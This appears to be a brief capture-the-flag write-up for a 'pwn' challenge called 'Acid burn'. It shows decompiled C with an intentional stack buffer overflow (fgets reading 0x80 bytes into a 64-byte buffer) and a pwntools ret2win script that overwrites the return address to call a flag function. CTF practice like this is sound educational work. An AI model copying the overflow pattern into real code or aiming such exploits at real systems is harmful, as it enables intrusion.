+++ date = '2025-04-28T12:00:00+02:00' draft = false title = 'Acid burn' tags = ['pwn'] +++ Here is the decompiled code for the challenge. ```c int main(void) { int iVar1; char input [64]; printf("What is the password?\n?: "); fflush(stdout); fgets(input,0x80,stdin); iVar1 = strcmp(input,"password\n"); if (iVar1 != 0) { puts("incorrect password"); fflush(stdout); } return 0; } ``` There is a pretty large buffer overflow on the `input` variable and there also conveniently is a function called `flag` that displays the flag (and of course all the protections are disabled). This is a classic ret2win scenario where we have to overwrite the return pointer to jump to the `flag` function. A small python script using pwntools should do the job. ```python io = start() payload = flat( b'A'*(64+8), pack(elf.symbols.flag)) write("payload", payload) io.sendlineafter(b'?: ', payload) io.interactive() ``` I didn't save the flag but this works and solves the challenge.